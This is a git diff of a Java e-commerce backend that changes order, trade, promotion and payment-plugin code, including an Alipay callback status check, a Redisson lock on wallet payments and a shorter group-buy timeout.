+738,10 @@ public class CartServiceImpl implements CartService { if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { Optional> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); if (kanjiaPromotions.isPresent()) { - KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(kanjiaPromotions.get().getValue()); //查找当前会员的砍价商品活动 KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); - kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId()); + kanjiaActivitySearchParams.setKanjiaActivityGoodsId(promotionsObj.get("id", String.class)); kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Trade.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Trade.java index dbde25c5..b8a8aaa8 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Trade.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Trade.java @@ -1,5 +1,6 @@ package cn.lili.modules.order.order.entity.dos; +import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.mybatis.BaseEntity; import cn.lili.common.utils.BeanUtil; import cn.lili.modules.order.cart.entity.enums.DeliveryMethodEnum; @@ -82,6 +83,7 @@ public class Trade extends BaseEntity { } BeanUtil.copyProperties(tradeDTO, this); BeanUtil.copyProperties(tradeDTO.getPriceDetailDTO(), this); + this.setPayStatus(PayStatusEnum.UNPAID.name()); this.setId(originId); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index 895b2f41..d9b25dab 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -106,6 +106,9 @@ public class OrderSearchParams extends PageVO { @ApiModelProperty(value = "是否为某订单类型的订单,如果是则为订单类型的id,否则为空") private String promotionId; + @ApiModelProperty(value = "总价格,可以为范围,如10_1000") + private String flowPrice; + /** * @see OrderPromotionTypeEnum */ @@ -209,6 +212,14 @@ public class OrderSearchParams extends PageVO { wrapper.eq(CharSequenceUtil.isNotEmpty(orderPromotionType), "o.order_promotion_type", orderPromotionType); + if (CharSequenceUtil.isNotEmpty(flowPrice)) { + String[] s = flowPrice.split("_"); + if (s.length > 1) { + wrapper.between("o.flow_price", s[0], s[1]); + } else { + wrapper.ge("o.flow_price", s[0]); + } + } wrapper.eq("o.delete_flag", false); return wrapper; } diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java index 15724eb7..67872901 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java @@ -170,7 +170,7 @@ public class PriceDetailDTO implements Serializable { billPrice = settlementPrice; } else { //如果是普通订单最终结算金额 = flowPrice - platFormCommission - distributionCommission 流水金额-平台佣金-分销佣金 - billPrice = CurrencyUtil.sub(CurrencyUtil.sub(flowPrice, platFormCommission), distributionCommission); + billPrice = CurrencyUtil.sub(flowPrice, platFormCommission, distributionCommission); } } @@ -309,7 +309,7 @@ public class PriceDetailDTO implements Serializable { } public Double getUpdatePrice() { - if (updatePrice == null || updatePrice <= 0) { + if (updatePrice == null) { return 0D; } return updatePrice; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/OrderTypeEnum.java b/framework/src/main/java/cn/lili/modules/order/order/entity/enums/OrderTypeEnum.java index 6cd2b9b3..129dce04 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/OrderTypeEnum.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/enums/OrderTypeEnum.java @@ -16,5 +16,10 @@ public enum OrderTypeEnum { /** * 虚拟订单 */ - VIRTUAL + VIRTUAL, + + /** + * 虚拟订单 + */ + E_COUPON, } diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/TradeStatusEnum.java b/framework/src/main/java/cn/lili/modules/order/order/entity/enums/TradeStatusEnum.java new file mode 100644 index 00000000..5e4e8fdb --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/enums/TradeStatusEnum.java @@ -0,0 +1,33 @@ +package cn.lili.modules.order.order.entity.enums; + +/** + * 交易状态枚举 + * + * @author Chopper + * @since 2020/11/17 7:27 下午 + */ +public enum TradeStatusEnum { + + /** + * 交易状态 + */ + UNPAID("未付款"), + PAID("已付款"), + CANCELLED("已取消"); + + private final String description; + + TradeStatusEnum(String description) { + this.description = description; + } + + public String getDescription() { + return description; + } + + public String description() { + return this.description; + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java index 428ecb95..448e9dc7 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderItemServiceImpl.java @@ -24,7 +24,6 @@ import java.util.List; * @since 2020/11/17 7:38 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class OrderItemServiceImpl extends ServiceImpl implements OrderItemService { @Override diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderPriceServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderPriceServiceImpl.java index ca75fd41..0210ffcf 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderPriceServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderPriceServiceImpl.java @@ -16,6 +16,7 @@ import cn.lili.modules.order.order.service.OrderPriceService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.payment.kit.plugin.bank.BankTransferPlugin; import cn.lili.modules.system.aspect.annotation.SystemLogPoint; +import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -29,8 +30,8 @@ import java.util.List; * @author Chopper * @since 2020/11/17 7:36 下午 */ +@Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class OrderPriceServiceImpl implements OrderPriceService { /** @@ -107,10 +108,8 @@ public class OrderPriceServiceImpl implements OrderPriceService { //订单修改金额=使用订单原始金额-修改后金额 orderPriceDetailDTO.setUpdatePrice(CurrencyUtil.sub(orderPrice, orderPriceDetailDTO.getOriginalPrice())); order.setFlowPrice(orderPriceDetailDTO.getFlowPrice()); - order.setPriceDetail(JSONUtil.toJsonStr(orderPriceDetailDTO)); - //修改订单 - order.setPriceDetail(JSONUtil.toJsonStr(orderPriceDetailDTO)); + order.setPriceDetailDTO(orderPriceDetailDTO); orderService.updateById(order); //修改子订单 diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 16b90c07..6c06126a 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -85,7 +85,6 @@ import java.util.stream.Collectors; * @since 2020/11/17 7:38 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class OrderServiceImpl extends ServiceImpl implements OrderService { private static final String ORDER_SN_COLUMN = "order_sn"; @@ -145,6 +144,7 @@ public class OrderServiceImpl extends ServiceImpl implements private TradeService tradeService; @Override + @Transactional(rollbackFor = Exception.class) public void intoDB(TradeDTO tradeDTO) { //检查TradeDTO信息 checkTradeDTO(tradeDTO); @@ -367,7 +367,8 @@ public class OrderServiceImpl extends ServiceImpl implements //判断是否为拼团订单,进行特殊处理 //判断订单类型进行不同的订单确认操作 if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderPromotionType())) { - this.checkPintuanOrder(order.getPromotionId(), order.getParentOrderSn()); + String parentOrderSn = CharSequenceUtil.isEmpty(order.getParentOrderSn()) ? orderSn : order.getParentOrderSn(); + this.checkPintuanOrder(order.getPromotionId(), parentOrderSn); } else { //判断订单类型 if (order.getOrderType().equals(OrderTypeEnum.NORMAL.name())) { @@ -489,6 +490,7 @@ public class OrderServiceImpl extends ServiceImpl implements //修改订单货物可以进行评价 orderItemService.update(new UpdateWrapper().eq(ORDER_SN_COLUMN, orderSn) .set("comment_status", CommentStatusEnum.UNFINISHED)); + this.update(new LambdaUpdateWrapper().eq(Order::getSn, orderSn).set(Order::getCompleteTime, new Date())); //发送订单状态改变消息 OrderMessage orderMessage = new OrderMessage(); orderMessage.setNewStatus(OrderStatusEnum.COMPLETED); @@ -640,7 +642,9 @@ public class OrderServiceImpl extends ServiceImpl implements public Double getPaymentTotal(String orderSn) { Order order = this.getBySn(orderSn); Trade trade = tradeService.getBySn(order.getTradeSn()); - if (trade.getPayStatus().equals(PayStatusEnum.PAID.name())) { + //如果交易不为空,则返回交易的金额,否则返回订单金额 + if (StringUtils.isNotEmpty(trade.getPayStatus()) + && trade.getPayStatus().equals(PayStatusEnum.PAID.name())) { return trade.getFlowPrice(); } return order.getFlowPrice(); @@ -788,10 +792,6 @@ public class OrderServiceImpl extends ServiceImpl implements * @param parentOrderSn 拼团父订单编号 */ private void checkPintuanOrder(String pintuanId, String parentOrderSn) { - //拼团有效参数判定 - if (CharSequenceUtil.isEmpty(parentOrderSn)) { - return; - } //获取拼团配置 Pintuan pintuan = pintuanService.getById(pintuanId); List list = this.getPintuanOrder(pintuanId, parentOrderSn); @@ -799,7 +799,9 @@ public class OrderServiceImpl extends ServiceImpl implements if (count == 1) { //如果为开团订单,则发布一个一小时的延时任务,时间到达后,如果未成团则自动结束(未开启虚拟成团的情况下) PintuanOrderMessage pintuanOrderMessage = new PintuanOrderMessage(); - long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); + //开团结束时间 +// long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); + long startTime = DateUtil.offsetMinute(new Date(), 2).getTime(); pintuanOrderMessage.setOrderSn(parentOrderSn); pintuanOrderMessage.setPintuanId(pintuanId); TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, @@ -884,22 +886,6 @@ public class OrderServiceImpl extends ServiceImpl implements } } - /** - * 检查交易信息 - * - * @param order 订单 - */ - private void checkOrder(Order order) { - //订单类型为拼团订单,检测购买数量是否超过了限购数量 - if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderType())) { - Pintuan pintuan = pintuanService.getById(order.getPromotionId()); - Integer limitNum = pintuan.getLimitNum(); - if (limitNum != 0 && order.getGoodsNum() > limitNum) { - throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR); - } - } - } - /** * 普通商品订单确认 * 修改订单状态为待发货 diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index da22d3ab..15d45ab4 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -44,7 +44,6 @@ import java.util.List; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class StoreFlowServiceImpl extends ServiceImpl implements StoreFlowService { /** @@ -160,7 +159,7 @@ public class StoreFlowServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, JSONUtil.toJsonStr(tradeDTO)); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } /** * 订单配送区域校验 */ if (tradeDTO.getNotSupportFreight() != null && tradeDTO.getNotSupportFreight().size() > 0) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> { stringBuilder.append(sku.getGoodsSku().getGoodsName()); }); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file +package cn.lili.modules.order.order.serviceimpl; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @since 2020/11/17 7:39 下午 */ @Service public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, JSONUtil.toJsonStr(tradeDTO)); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO 购物车视图 */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } //订单配送区域校验 if (tradeDTO.getNotSupportFreight() != null && !tradeDTO.getNotSupportFreight().isEmpty()) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> stringBuilder.append(sku.getGoodsSku().getGoodsName())); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO 购物车视图 */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(tradeDTO.getMemberId(), ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO 购物车视图 */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO 购物车视图 */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.endKanjiaActivity(kanjiaId); } } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleCategoryServiceImpl.java b/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleCategoryServiceImpl.java index 96cae40c..43a0a0b9 100644 --- a/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleCategoryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleCategoryServiceImpl.java @@ -29,7 +29,6 @@ import java.util.List; * @since 2020-05-5 15:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class ArticleCategoryServiceImpl extends ServiceImpl implements ArticleCategoryService { /** diff --git a/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleServiceImpl.java b/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleServiceImpl.java index db36aded..d8a5d8e8 100644 --- a/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/page/serviceimpl/ArticleServiceImpl.java @@ -30,7 +30,6 @@ import java.util.List; * @since 2020/11/18 11:40 上午 */ @Service -@Transactional(rollbackFor = Exception.class) public class ArticleServiceImpl extends ServiceImpl implements ArticleService { @Override diff --git a/framework/src/main/java/cn/lili/modules/page/serviceimpl/FeedbackServiceImpl.java b/framework/src/main/java/cn/lili/modules/page/serviceimpl/FeedbackServiceImpl.java index 714cd671..b97083bd 100644 --- a/framework/src/main/java/cn/lili/modules/page/serviceimpl/FeedbackServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/page/serviceimpl/FeedbackServiceImpl.java @@ -17,7 +17,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020/11/18 11:40 上午 */ @Service -@Transactional(rollbackFor = Exception.class) public class FeedbackServiceImpl extends ServiceImpl implements FeedbackService { } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/WxPayKit.java b/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/WxPayKit.java index 45181ecf..3e3f3c62 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/WxPayKit.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/WxPayKit.java @@ -5,6 +5,8 @@ import cn.hutool.core.util.IdUtil; import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; import cn.lili.modules.payment.kit.core.PaymentHttpResponse; import cn.lili.modules.payment.kit.core.enums.RequestMethodEnums; import cn.lili.modules.payment.kit.core.enums.SignType; @@ -114,6 +116,30 @@ public class WxPayKit { } } + /** + * APP 单独生成签名 + * app 支付环境中,如果遇到签名错误,百思不得其解,则可以使用这个方法调用签名尝试解决 + * + * @param params 需要签名的参数 + * @return 签名后的数据 + */ + public static String createAppSign(Map params, String privateKey) { + + String appid = params.get("appid"); + String timestamp = params.get("timestamp"); + String noncestr = params.get("noncestr"); + String prepayid = params.get("prepayid"); + + String encrypt = appid + "\n" + timestamp + "\n" + noncestr + "\n" + prepayid + "\n"; + + try { + return PayKit.createSign(encrypt, privateKey); + } catch (Exception e) { + throw new ServiceException(ResultCode.ERROR); + } + } + + /** * 生成签名 * @@ -351,6 +377,8 @@ public class WxPayKit { signType = SignType.MD5; } String packageSign = createSign(packageParams, partnerKey, signType); + // 部分微信APP支付 提示签名错误 解开下方注释 替换上边的代码就好。 + // String packageSign = createAppSign(packageParams, partnerKey); packageParams.put("sign", packageSign); return packageParams; } diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/alipay/AliPayPlugin.java b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/alipay/AliPayPlugin.java index 15cade4a..27102b26 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/alipay/AliPayPlugin.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/alipay/AliPayPlugin.java @@ -273,7 +273,7 @@ public class AliPayPlugin implements Payment { log.info("支付回调通知:支付失败-参数:{}", map); } - ThreadContextHolder.getHttpResponse().sendRedirect(domainProperties.getWap()+"/pages/order/myOrder?status=0"); + ThreadContextHolder.getHttpResponse().sendRedirect(domainProperties.getWap() + "/pages/order/myOrder?status=0"); } catch (Exception e) { log.error("支付回调同步通知异常", e); } @@ -293,7 +293,11 @@ public class AliPayPlugin implements Payment { log.info("支付回调响应:{}", JSONUtil.toJsonStr(map)); boolean verifyResult = AlipaySignature.rsaCertCheckV1(map, alipayPaymentSetting.getAlipayPublicCertPath(), "UTF-8", "RSA2"); - + //支付完成判定 + if (!"TRADE_FINISHED".equals(map.get("trade_status")) && + !"TRADE_SUCCESS".equals(map.get("trade_status"))) { + return; + } String payParamStr = map.get("passback_params"); String payParamJson = URLDecoder.decode(payParamStr, StandardCharsets.UTF_8); PayParam payParam = BeanUtil.formatKeyValuePair(payParamJson, new PayParam()); diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java index 56dad469..79245326 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wallet/WalletPlugin.java @@ -19,6 +19,8 @@ import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import cn.lili.modules.wallet.service.MemberWalletService; import lombok.extern.slf4j.Slf4j; +import org.redisson.api.RLock; +import org.redisson.api.RedissonClient; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @@ -57,9 +59,11 @@ public class WalletPlugin implements Payment { @Autowired private CashierSupport cashierSupport; + @Autowired + private RedissonClient redisson; + @Override public ResultMessage h5pay(HttpServletRequest request, HttpServletResponse response, PayParam payParam) { - savePaymentLog(payParam); return ResultUtil.success(ResultCode.PAY_SUCCESS); } @@ -113,9 +117,18 @@ public class WalletPlugin implements Payment { * @param payParam 支付参数 */ private void savePaymentLog(PayParam payParam) { - //获取支付收银参数 - CashierParam cashierParam = cashierSupport.cashierParam(payParam); - this.callBack(payParam, cashierParam); + //同一个会员如果在不同的客户端使用预存款支付,会存在同时支付,无法保证预存款的正确性,所以对会员加锁 + RLock lock = redisson.getLock(UserContext.getCurrentUser().getId() + ""); + lock.lock(); + try { + //获取支付收银参数 + CashierParam cashierParam = cashierSupport.cashierParam(payParam); + this.callBack(payParam, cashierParam); + } catch (Exception e) { + throw e; + } finally { + lock.unlock(); + } } @Override diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java index a6e0972b..a32e8572 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/plugin/wechat/WechatPlugin.java @@ -39,7 +39,6 @@ import cn.lili.modules.payment.kit.plugin.wechat.model.*; import cn.lili.modules.payment.service.PaymentService; import cn.lili.modules.payment.service.RefundLogService; import cn.lili.modules.system.entity.dos.Setting; -import cn.lili.modules.system.entity.dto.connect.dto.WechatConnectSettingItem; import cn.lili.modules.system.entity.dto.payment.WechatPaymentSetting; import cn.lili.modules.system.entity.enums.SettingEnum; 